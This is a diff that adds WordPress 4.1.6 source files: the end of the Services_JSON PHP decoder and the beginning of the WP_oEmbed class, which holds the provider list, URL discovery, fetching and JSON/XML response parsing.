+                            case $substr_chrs_c_2 == '\\\'':
+                            case $substr_chrs_c_2 == '\\\\':
+                            case $substr_chrs_c_2 == '\\/':
+                                if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
+                                   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
+                                    $utf8 .= $chrs{++$c};
+                                }
+                                break;
+
+                            case preg_match('/\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)):
+                                // single, escaped unicode character
+                                $utf16 = chr(hexdec($this->substr8($chrs, ($c + 2), 2)))
+                                       . chr(hexdec($this->substr8($chrs, ($c + 4), 2)));
+                                $utf8 .= $this->utf162utf8($utf16);
+                                $c += 5;
+                                break;
+
+                            case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
+                                $utf8 .= $chrs{$c};
+                                break;
+
+                            case ($ord_chrs_c & 0xE0) == 0xC0:
+                                // characters U-00000080 - U-000007FF, mask 110XXXXX
+                                //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 2);
+                                ++$c;
+                                break;
+
+                            case ($ord_chrs_c & 0xF0) == 0xE0:
+                                // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 3);
+                                $c += 2;
+                                break;
+
+                            case ($ord_chrs_c & 0xF8) == 0xF0:
+                                // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 4);
+                                $c += 3;
+                                break;
+
+                            case ($ord_chrs_c & 0xFC) == 0xF8:
+                                // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 5);
+                                $c += 4;
+                                break;
+
+                            case ($ord_chrs_c & 0xFE) == 0xFC:
+                                // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 6);
+                                $c += 5;
+                                break;
+
+                        }
+
+                    }
+
+                    return $utf8;
+
+                } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
+                    // array, or object notation
+
+                    if ($str{0} == '[') {
+                        $stk = array(SERVICES_JSON_IN_ARR);
+                        $arr = array();
+                    } else {
+                        if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = array();
+                        } else {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = new stdClass();
+                        }
+                    }
+
+                    array_push($stk, array('what'  => SERVICES_JSON_SLICE,
+                                           'where' => 0,
+                                           'delim' => false));
+
+                    $chrs = $this->substr8($str, 1, -1);
+                    $chrs = $this->reduce_string($chrs);
+
+                    if ($chrs == '') {
+                        if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                            return $arr;
+
+                        } else {
+                            return $obj;
+
+                        }
+                    }
+
+                    //print("\nparsing {$chrs}\n");
+
+                    $strlen_chrs = $this->strlen8($chrs);
+
+                    for ($c = 0; $c <= $strlen_chrs; ++$c) {
+
+                        $top = end($stk);
+                        $substr_chrs_c_2 = $this->substr8($chrs, $c, 2);
+
+                        if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
+                            // found a comma that is not inside a string, array, etc.,
+                            // OR we've reached the end of the character list
+                            $slice = $this->substr8($chrs, $top['where'], ($c - $top['where']));
+                            array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
+                            //print("Found split at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                            if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                                // we are in an array, so just push an element onto the stack
+                                array_push($arr, $this->decode($slice));
+
+                            } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                                // we are in an object, so figure
+                                // out the property name and set an
+                                // element in an associative array,
+                                // for now
+                                $parts = array();
+                                
+                               if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:/Uis', $slice, $parts)) {
+ 	                              // "name":value pair
+                                    $key = $this->decode($parts[1]);
+                                    $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B"));
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                } elseif (preg_match('/^\s*(\w+)\s*:/Uis', $slice, $parts)) {
+                                    // name:value pair, where name is unquoted
+                                    $key = $parts[1];
+                                    $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B"));
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                }
+
+                            }
+
+                        } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
+                            // found a quote, and we are not inside a string
+                            array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
+                            //print("Found start of string at {$c}\n");
+
+                        } elseif (($chrs{$c} == $top['delim']) &&
+                                 ($top['what'] == SERVICES_JSON_IN_STR) &&
+                                 (($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1)) {
+                            // found a quote, we're in a string, and it's not escaped
+                            // we know that it's not escaped becase there is _not_ an
+                            // odd number of backslashes at the end of the string so far
+                            array_pop($stk);
+                            //print("Found end of string at {$c}: ".$this->substr8($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '[') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-bracket, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
+                            //print("Found start of array at {$c}\n");
+
+                        } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
+                            // found a right-bracket, and we're in an array
+                            array_pop($stk);
+                            //print("Found end of array at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '{') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-brace, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
+                            //print("Found start of object at {$c}\n");
+
+                        } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
+                            // found a right-brace, and we're in an object
+                            array_pop($stk);
+                            //print("Found end of object at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($substr_chrs_c_2 == '/*') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a comment start, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
+                            $c++;
+                            //print("Found start of comment at {$c}\n");
+
+                        } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
+                            // found a comment end, and we're in one now
+                            array_pop($stk);
+                            $c++;
+
+                            for ($i = $top['where']; $i <= $c; ++$i)
+                                $chrs = substr_replace($chrs, ' ', $i, 1);
+
+                            //print("Found end of comment at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        }
+
+                    }
+
+                    if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                        return $arr;
+
+                    } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                        return $obj;
+
+                    }
+
+                }
+        }
+    }
+
+    /**
+     * @todo Ultimately, this should just call PEAR::isError()
+     */
+    function isError($data, $code = null)
+    {
+        if (class_exists('pear')) {
+            return PEAR::isError($data, $code);
+        } elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
+                                 is_subclass_of($data, 'services_json_error'))) {
+            return true;
+        }
+
+        return false;
+    }
+    
+    /**
+    * Calculates length of string in bytes
+    * @param string 
+    * @return integer length
+    */
+    function strlen8( $str ) 
+    {
+        if ( $this->_mb_strlen ) {
+            return mb_strlen( $str, "8bit" );
+        }
+        return strlen( $str );
+    }
+    
+    /**
+    * Returns part of a string, interpreting $start and $length as number of bytes.
+    * @param string 
+    * @param integer start 
+    * @param integer length 
+    * @return integer length
+    */
+    function substr8( $string, $start, $length=false ) 
+    {
+        if ( $length === false ) {
+            $length = $this->strlen8( $string ) - $start;
+        }
+        if ( $this->_mb_substr ) {
+            return mb_substr( $string, $start, $length, "8bit" );
+        }
+        return substr( $string, $start, $length );
+    }
+
+}
+
+if (class_exists('PEAR_Error')) {
+
+    class Services_JSON_Error extends PEAR_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+            parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
+        }
+    }
+
+} else {
+
+    /**
+     * @todo Ultimately, this class shall be descended from PEAR_Error
+     */
+    class Services_JSON_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+
+        }
+    }
+    
+}
+
+endif;
Index: /tags/4.1.6/src/wp-includes/class-oembed.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-oembed.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-oembed.php	(revision 33402)
@@ -0,0 +1,581 @@
+<?php
+/**
+ * API for fetching the HTML to embed remote content based on a provided URL.
+ * Used internally by the {@link WP_Embed} class, but is designed to be generic.
+ *
+ * @link http://codex.wordpress.org/oEmbed oEmbed Codex Article
+ * @link http://oembed.com/ oEmbed Homepage
+ *
+ * @package WordPress
+ * @subpackage oEmbed
+ */
+
+/**
+ * oEmbed class.
+ *
+ * @package WordPress
+ * @subpackage oEmbed
+ * @since 2.9.0
+ */
+class WP_oEmbed {
+	public $providers = array();
+	public static $early_providers = array();
+
+	/**
+	 * Constructor
+	 *
+	 * @since 2.9.0
+	 */
+	public function __construct() {
+		$providers = array(
+			'#http://(www\.)?youtube\.com/watch.*#i'              => array( 'http://www.youtube.com/oembed',                      true  ),
+			'#https://(www\.)?youtube\.com/watch.*#i'             => array( 'http://www.youtube.com/oembed?scheme=https',         true  ),
+			'#http://(www\.)?youtube\.com/playlist.*#i'           => array( 'http://www.youtube.com/oembed',                      true  ),
+			'#https://(www\.)?youtube\.com/playlist.*#i'          => array( 'http://www.youtube.com/oembed?scheme=https',         true  ),
+			'#http://youtu\.be/.*#i'                              => array( 'http://www.youtube.com/oembed',                      true  ),
+			'#https://youtu\.be/.*#i'                             => array( 'http://www.youtube.com/oembed?scheme=https',         true  ),
+			'http://blip.tv/*'                                    => array( 'http://blip.tv/oembed/',                             false ),
+			'#https?://(.+\.)?vimeo\.com/.*#i'                    => array( 'http://vimeo.com/api/oembed.{format}',               true  ),
+			'#https?://(www\.)?dailymotion\.com/.*#i'             => array( 'http://www.dailymotion.com/services/oembed',         true  ),
+			'http://dai.ly/*'                                     => array( 'http://www.dailymotion.com/services/oembed',         false ),
+			'#https?://(www\.)?flickr\.com/.*#i'                  => array( 'https://www.flickr.com/services/oembed/',            true  ),
+			'#https?://flic\.kr/.*#i'                             => array( 'https://www.flickr.com/services/oembed/',            true  ),
+			'#https?://(.+\.)?smugmug\.com/.*#i'                  => array( 'http://api.smugmug.com/services/oembed/',            true  ),
+			'#https?://(www\.)?hulu\.com/watch/.*#i'              => array( 'http://www.hulu.com/api/oembed.{format}',            true  ),
+			'http://revision3.com/*'                              => array( 'http://revision3.com/api/oembed/',                   false ),
+			'http://i*.photobucket.com/albums/*'                  => array( 'http://photobucket.com/oembed',                      false ),
+			'http://gi*.photobucket.com/groups/*'                 => array( 'http://photobucket.com/oembed',                      false ),
+			'#https?://(www\.)?scribd\.com/doc/.*#i'              => array( 'http://www.scribd.com/services/oembed',              true  ),
+			'#https?://wordpress.tv/.*#i'                         => array( 'http://wordpress.tv/oembed/',                        true ),
+			'#https?://(.+\.)?polldaddy\.com/.*#i'                => array( 'https://polldaddy.com/oembed/',                      true  ),
+			'#https?://poll\.fm/.*#i'                             => array( 'https://polldaddy.com/oembed/',                      true  ),
+			'#https?://(www\.)?funnyordie\.com/videos/.*#i'       => array( 'http://www.funnyordie.com/oembed',                   true  ),
+			'#https?://(www\.)?twitter\.com/.+?/status(es)?/.*#i' => array( 'https://api.twitter.com/1/statuses/oembed.{format}', true  ),
+			'#https?://vine.co/v/.*#i'                            => array( 'https://vine.co/oembed.{format}',                    true  ),
+ 			'#https?://(www\.)?soundcloud\.com/.*#i'              => array( 'http://soundcloud.com/oembed',                       true  ),
+			'#https?://(.+?\.)?slideshare\.net/.*#i'              => array( 'https://www.slideshare.net/api/oembed/2',            true  ),
+			'#http://instagr(\.am|am\.com)/p/.*#i'                => array( 'http://api.instagram.com/oembed',                    true  ),
+			'#https?://(www\.)?rdio\.com/.*#i'                    => array( 'http://www.rdio.com/api/oembed/',                    true  ),
+			'#https?://rd\.io/x/.*#i'                             => array( 'http://www.rdio.com/api/oembed/',                    true  ),
+			'#https?://(open|play)\.spotify\.com/.*#i'            => array( 'https://embed.spotify.com/oembed/',                  true  ),
+			'#https?://(.+\.)?imgur\.com/.*#i'                    => array( 'http://api.imgur.com/oembed',                        true  ),
+			'#https?://(www\.)?meetu(\.ps|p\.com)/.*#i'           => array( 'http://api.meetup.com/oembed',                       true  ),
+			'#https?://(www\.)?issuu\.com/.+/docs/.+#i'           => array( 'http://issuu.com/oembed_wp',                         true  ),
+			'#https?://(www\.)?collegehumor\.com/video/.*#i'      => array( 'http://www.collegehumor.com/oembed.{format}',        true  ),
+			'#https?://(www\.)?mixcloud\.com/.*#i'                => array( 'http://www.mixcloud.com/oembed',                     true  ),
+			'#https?://(www\.|embed\.)?ted\.com/talks/.*#i'       => array( 'http://www.ted.com/talks/oembed.{format}',           true  ),
+			'#https?://(www\.)?(animoto|video214)\.com/play/.*#i' => array( 'http://animoto.com/oembeds/create',                  true  ),
+		);
+
+		if ( ! empty( self::$early_providers['add'] ) ) {
+			foreach ( self::$early_providers['add'] as $format => $data ) {
+				$providers[ $format ] = $data;
+			}
+		}
+
+		if ( ! empty( self::$early_providers['remove'] ) ) {
+			foreach ( self::$early_providers['remove'] as $format ) {
+				unset( $providers[ $format ] );
+			}
+		}
+
+		self::$early_providers = array();
+
+		/**
+		 * Filter the list of oEmbed providers.
+		 *
+		 * Discovery is disabled for users lacking the unfiltered_html capability.
+		 * Only providers in this array will be used for those users.
+		 *
+		 * Supported providers:
+		 *
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * |   Provider   |        Flavor        |  SSL  |   Since   |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * | Blip         | blip.tv              |       | 2.9.0     |
+		 * | Dailymotion  | dailymotion.com      |  Yes  | 2.9.0     |
+		 * | Flickr       | flickr.com           |  Yes  | 2.9.0     |
+		 * | Hulu         | hulu.com             |  Yes  | 2.9.0     |
+		 * | Photobucket  | photobucket.com      |       | 2.9.0     |
+		 * | Revision3    | revision3.com        |       | 2.9.0     |
+		 * | Scribd       | scribd.com           |  Yes  | 2.9.0     |
+		 * | Vimeo        | vimeo.com            |  Yes  | 2.9.0     |
+		 * | WordPress.tv | wordpress.tv         |  Yes  | 2.9.0     |
+		 * | YouTube      | youtube.com/watch    |  Yes  | 2.9.0     |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * | Funny or Die | funnyordie.com       |  Yes  | 3.0.0     |
+		 * | Polldaddy    | polldaddy.com        |  Yes  | 3.0.0     |
+		 * | SmugMug      | smugmug.com          |  Yes  | 3.0.0     |
+		 * | YouTube      | youtu.be             |  Yes  | 3.0.0     |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * | Twitter      | twitter.com          |  Yes  | 3.4.0     |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * | Instagram    | instagram.com        |       | 3.5.0     |
+		 * | Instagram    | instagr.am           |       | 3.5.0     |
+		 * | Slideshare   | slideshare.net       |  Yes  | 3.5.0     |
+		 * | SoundCloud   | soundcloud.com       |  Yes  | 3.5.0     |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * | Dailymotion  | dai.ly               |       | 3.6.0     |
+		 * | Flickr       | flic.kr              |  Yes  | 3.6.0     |
+		 * | Rdio         | rdio.com             |  Yes  | 3.6.0     |
+		 * | Rdio         | rd.io                |  Yes  | 3.6.0     |
+		 * | Spotify      | spotify.com          |  Yes  | 3.6.0     |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * | Imgur        | imgur.com            |  Yes  | 3.9.0     |
+		 * | Meetup.com   | meetup.com           |  Yes  | 3.9.0     |
+		 * | Meetup.com   | meetu.ps             |  Yes  | 3.9.0     |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * | Animoto      | animoto.com          |  Yes  | 4.0.0     |
+		 * | Animoto      | video214.com         |  Yes  | 4.0.0     |
+		 * | CollegeHumor | collegehumor.com     |  Yes  | 4.0.0     |
+		 * | Issuu        | issuu.com            |  Yes  | 4.0.0     |
+		 * | Mixcloud     | mixcloud.com         |  Yes  | 4.0.0     |
+		 * | Polldaddy    | poll.fm              |  Yes  | 4.0.0     |
+		 * | TED          | ted.com              |  Yes  | 4.0.0     |
+		 * | YouTube      | youtube.com/playlist |  Yes  | 4.0.0     |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 * | Vine         | vine.co              |  Yes  | 4.1.0     |
+		 * | ------------ | -------------------- | ----- | --------- |
+		 *
+		 * No longer supported providers:
+		 *
+		 * | ------------ | -------------------- | ----- | --------- | --------- |
+		 * |   Provider   |        Flavor        |  SSL  |   Since   |  Removed  |
+		 * | ------------ | -------------------- | ----- | --------- | --------- |
+		 * | Qik          | qik.com              |  Yes  | 2.9.0     | 3.9.0     |
+		 * | ------------ | -------------------- | ----- | --------- | --------- |
+		 * | Viddler      | viddler.com          |  Yes  | 2.9.0     | 4.0.0     |
+		 * | ------------ | -------------------- | ----- | --------- | --------- |
+		 *
+		 * @see wp_oembed_add_provider()
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $providers An array of popular oEmbed providers.
+		 */
+		$this->providers = apply_filters( 'oembed_providers', $providers );
+
+		// Fix any embeds that contain new lines in the middle of the HTML which breaks wpautop().
+		add_filter( 'oembed_dataparse', array($this, '_strip_newlines'), 10, 3 );
+	}
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	/**
+	 * Takes a URL and returns the corresponding oEmbed provider's URL, if there is one.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @see WP_oEmbed::discover()
+	 *
+	 * @param string        $url  The URL to the content.
+	 * @param string|array  $args Optional provider arguments.
+	 * @return bool|string False on failure, otherwise the oEmbed provider URL.
+	 */
+	public function get_provider( $url, $args = '' ) {
+
+		$provider = false;
+
+		if ( !isset($args['discover']) )
+			$args['discover'] = true;
+
+		foreach ( $this->providers as $matchmask => $data ) {
+			list( $providerurl, $regex ) = $data;
+
+			// Turn the asterisk-type provider URLs into regex
+			if ( !$regex ) {
+				$matchmask = '#' . str_replace( '___wildcard___', '(.+)', preg_quote( str_replace( '*', '___wildcard___', $matchmask ), '#' ) ) . '#i';
+				$matchmask = preg_replace( '|^#http\\\://|', '#https?\://', $matchmask );
+			}
+
+			if ( preg_match( $matchmask, $url ) ) {
+				$provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML
+				break;
+			}
+		}
+
+		if ( !$provider && $args['discover'] )
+			$provider = $this->discover( $url );
+
+		return $provider;
+	}
+
+	/**
+	 * Add an oEmbed provider just-in-time when wp_oembed_add_provider() is called
+	 * before the 'plugins_loaded' hook.
+	 *
+	 * The just-in-time addition is for the benefit of the 'oembed_providers' filter.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @static
+	 *
+	 * @see wp_oembed_add_provider()
+	 *
+	 * @param string $format   Format of URL that this provider can handle. You can use
+	 *                         asterisks as wildcards.
+	 * @param string $provider The URL to the oEmbed provider..
+	 * @param bool   $regex    Optional. Whether the $format parameter is in a regex format.
+	 *                         Default false.
+	 */
+	public static function _add_provider_early( $format, $provider, $regex = false ) {
+		if ( empty( self::$early_providers['add'] ) ) {
+			self::$early_providers['add'] = array();
+		}
+
+		self::$early_providers['add'][ $format ] = array( $provider, $regex );
+	}
+
+	/**
+	 * Remove an oEmbed provider just-in-time when wp_oembed_remove_provider() is called
+	 * before the 'plugins_loaded' hook.
+	 *
+	 * The just-in-time removal is for the benefit of the 'oembed_providers' filter.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @static
+	 *
+	 * @see wp_oembed_remove_provider()
+	 *
+	 * @param string $format The format of URL that this provider can handle. You can use
+	 *                       asterisks as wildcards.
+	 */
+	public static function _remove_provider_early( $format ) {
+		if ( empty( self::$early_providers['remove'] ) ) {
+			self::$early_providers['remove'] = array();
+		}
+
+		self::$early_providers['remove'][] = $format;
+	}
+
+	/**
+	 * The do-it-all function that takes a URL and attempts to return the HTML.
+	 *
+	 * @see WP_oEmbed::fetch()
+	 * @see WP_oEmbed::data2html()
+	 *
+	 * @param string $url The URL to the content that should be attempted to be embedded.
+	 * @param array $args Optional arguments. Usually passed from a shortcode.
+	 * @return false|string False on failure, otherwise the UNSANITIZED (and potentially unsafe) HTML that should be used to embed.
+	 */
+	function get_html( $url, $args = '' ) {
+		$provider = $this->get_provider( $url, $args );
+
+		if ( !$provider || false === $data = $this->fetch( $provider, $url, $args ) )
+			return false;
+
+		/**
+		 * Filter the HTML returned by the oEmbed provider.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $data The returned oEmbed HTML.
+		 * @param string $url  URL of the content to be embedded.
+		 * @param array  $args Optional arguments, usually passed from a shortcode.
+		 */
+		return apply_filters( 'oembed_result', $this->data2html( $data, $url ), $url, $args );
+	}
+
+	/**
+	 * Attempts to discover link tags at the given URL for an oEmbed provider.
+	 *
+	 * @param string $url The URL that should be inspected for discovery `<link>` tags.
+	 * @return bool|string False on failure, otherwise the oEmbed provider URL.
+	 */
+	public function discover( $url ) {
+		$providers = array();
+
+		/**
+		 * Filter oEmbed remote get arguments.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @see WP_Http::request()
+		 *
+		 * @param array  $args oEmbed remote get arguments.
+		 * @param string $url  URL to be inspected.
+		 */
+		$args = apply_filters( 'oembed_remote_get_args', array(), $url );
+
+		// Fetch URL content
+		$request = wp_safe_remote_get( $url, $args );
+		if ( $html = wp_remote_retrieve_body( $request ) ) {
+
+			/**
+			 * Filter the link types that contain oEmbed provider URLs.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param array $format Array of oEmbed link types. Accepts 'application/json+oembed',
+			 *                      'text/xml+oembed', and 'application/xml+oembed' (incorrect,
+			 *                      used by at least Vimeo).
+			 */
+			$linktypes = apply_filters( 'oembed_linktypes', array(
+				'application/json+oembed' => 'json',
+				'text/xml+oembed' => 'xml',
+				'application/xml+oembed' => 'xml',
+			) );
+
+			// Strip <body>
+			$html = substr( $html, 0, stripos( $html, '</head>' ) );
+
+			// Do a quick check
+			$tagfound = false;
+			foreach ( $linktypes as $linktype => $format ) {
+				if ( stripos($html, $linktype) ) {
+					$tagfound = true;
+					break;
+				}
+			}
+
+			if ( $tagfound && preg_match_all( '/<link([^<>]+)>/i', $html, $links ) ) {
+				foreach ( $links[1] as $link ) {
+					$atts = shortcode_parse_atts( $link );
+
+					if ( !empty($atts['type']) && !empty($linktypes[$atts['type']]) && !empty($atts['href']) ) {
+						$providers[$linktypes[$atts['type']]] = $atts['href'];
+
+						// Stop here if it's JSON (that's all we need)
+						if ( 'json' == $linktypes[$atts['type']] )
+							break;
+					}
+				}
+			}
+		}
+
+		// JSON is preferred to XML
+		if ( !empty($providers['json']) )
+			return $providers['json'];
+		elseif ( !empty($providers['xml']) )
+			return $providers['xml'];
+		else
+			return false;
+	}
+
+	/**
+	 * Connects to a oEmbed provider and returns the result.
+	 *
+	 * @param string $provider The URL to the oEmbed provider.
+	 * @param string $url The URL to the content that is desired to be embedded.
+	 * @param array $args Optional arguments. Usually passed from a shortcode.
+	 * @return bool|object False on failure, otherwise the result in the form of an object.
+	 */
+	public function fetch( $provider, $url, $args = '' ) {
+		$args = wp_parse_args( $args, wp_embed_defaults( $url ) );
+
+		$provider = add_query_arg( 'maxwidth', (int) $args['width'], $provider );
+		$provider = add_query_arg( 'maxheight', (int) $args['height'], $provider );
+		$provider = add_query_arg( 'url', urlencode($url), $provider );
+
+		/**
+		 * Filter the oEmbed URL to be fetched.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $provider URL of the oEmbed provider.
+		 * @param string $url      URL of the content to be embedded.
+		 * @param array  $args     Optional arguments, usually passed from a shortcode.
+		 */
+		$provider = apply_filters( 'oembed_fetch_url', $provider, $url, $args );
+
+		foreach( array( 'json', 'xml' ) as $format ) {
+			$result = $this->_fetch_with_format( $provider, $format );
+			if ( is_wp_error( $result ) && 'not-implemented' == $result->get_error_code() )
+				continue;
+			return ( $result && ! is_wp_error( $result ) ) ? $result : false;
+		}
+		return false;
+	}
+
+	/**
+	 * Fetches result from an oEmbed provider for a specific format and complete provider URL
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @param string $provider_url_with_args URL to the provider with full arguments list (url, maxheight, etc.)
+	 * @param string $format Format to use
+	 * @return bool|object False on failure, otherwise the result in the form of an object.
+	 */
+	private function _fetch_with_format( $provider_url_with_args, $format ) {
+		$provider_url_with_args = add_query_arg( 'format', $format, $provider_url_with_args );
+
+		/** This filter is documented in wp-includes/class-oembed.php */
+		$args = apply_filters( 'oembed_remote_get_args', array(), $provider_url_with_args );
+
+		$response = wp_safe_remote_get( $provider_url_with_args, $args );
+		if ( 501 == wp_remote_retrieve_response_code( $response ) )
+			return new WP_Error( 'not-implemented' );
+		if ( ! $body = wp_remote_retrieve_body( $response ) )
+			return false;
+		$parse_method = "_parse_$format";
+		return $this->$parse_method( $body );
+	}
+
+	/**
+	 * Parses a json response body.
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 */
+	private function _parse_json( $response_body ) {
+		return ( ( $data = json_decode( trim( $response_body ) ) ) && is_object( $data ) ) ? $data : false;
+	}
+
+	/**
+	 * Parses an XML response body.
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 */
+	private function _parse_xml( $response_body ) {
+		if ( ! function_exists( 'libxml_disable_entity_loader' ) )
+			return false;
+
+		$loader = libxml_disable_entity_loader( true );
+		$errors = libxml_use_internal_errors( true );
+
+		$return = $this->_parse_xml_body( $response_body );
+
+		libxml_use_internal_errors( $errors );
+		libxml_disable_entity_loader( $loader );
+
+		return $return;
+	}
+
+	/**
+	 * Helper function for parsing an XML response body.
+	 *
+	 * @since 3.6.0
+	 * @access private
+	 */
+	private function _parse_xml_body( $response_body ) {
+		if ( ! function_exists( 'simplexml_import_dom' ) || ! class_exists( 'DOMDocument' ) )
+			return false;
+
+		$dom = new DOMDocument;
+		$success = $dom->loadXML( $response_body );
+		if ( ! $success )
+			return false;
+
+		if ( isset( $dom->doctype ) )
+			return false;
+
+		foreach ( $dom->childNodes as $child ) {
+			if ( XML_DOCUMENT_TYPE_NODE === $child->nodeType )
+				return false;
+		}
+
+		$xml = simplexml_import_dom( $dom );
+		if ( ! $xml )
+			return false;
+
+		$return = new stdClass;
+		foreach ( $xml as $key => $value ) {
+			$return->$key = (string) $value;
+		}
+
+		return $return;
+	}
+
+	/**
+	 * Converts a data object from {@link WP_oEmbed::fetch()} and returns the HTML.
+	 *
+	 * @param object $data A data object result from an oEmbed provider.
+	 * @param string $url The URL to the content that is desired to be embedded.
+	 * @return false|string False on error, otherwise the HTML needed to embed.
+	 */
+	public function data2html( $data, $url ) {
+		if ( ! is_object( $data ) || empty( $data->type ) )
+			return false;
+
+		$return = false;
+
+		switch ( $data->type ) {
+			case 'photo':
+				if ( empty( $data->url ) || empty( $data->width ) || empty( $data->height ) )
+					break;
+				if ( ! is_string( $data->url ) || ! is_numeric( $data->width ) || ! is_numeric( $data->height ) )
+					break;
+
+				$title = ! empty( $data->title ) && is_string( $data->title ) ? $data->title : '';
+				$return = '<a href="' . esc_url( $url ) . '"><img src="' . esc_url( $data->url ) . '" alt="' . esc_attr($title) . '" width="' . esc_attr($data->width) . '" height="' . esc_attr($data->height) . '" /></a>';
+				break;
+
+			case 'video':
+			case 'rich':
+				if ( ! empty( $data->html ) && is_string( $data->html ) )
+					$return = $data->html;
+				break;
+
+			case 'link':
+				if ( ! empty( $data->title ) && is_string( $data->title ) )
+					$return = '<a href="' . esc_url( $url ) . '">' . esc_html( $data->title ) . '</a>';
+				break;
+
+			default:
+				$return = false;
+		}
+
+		/**
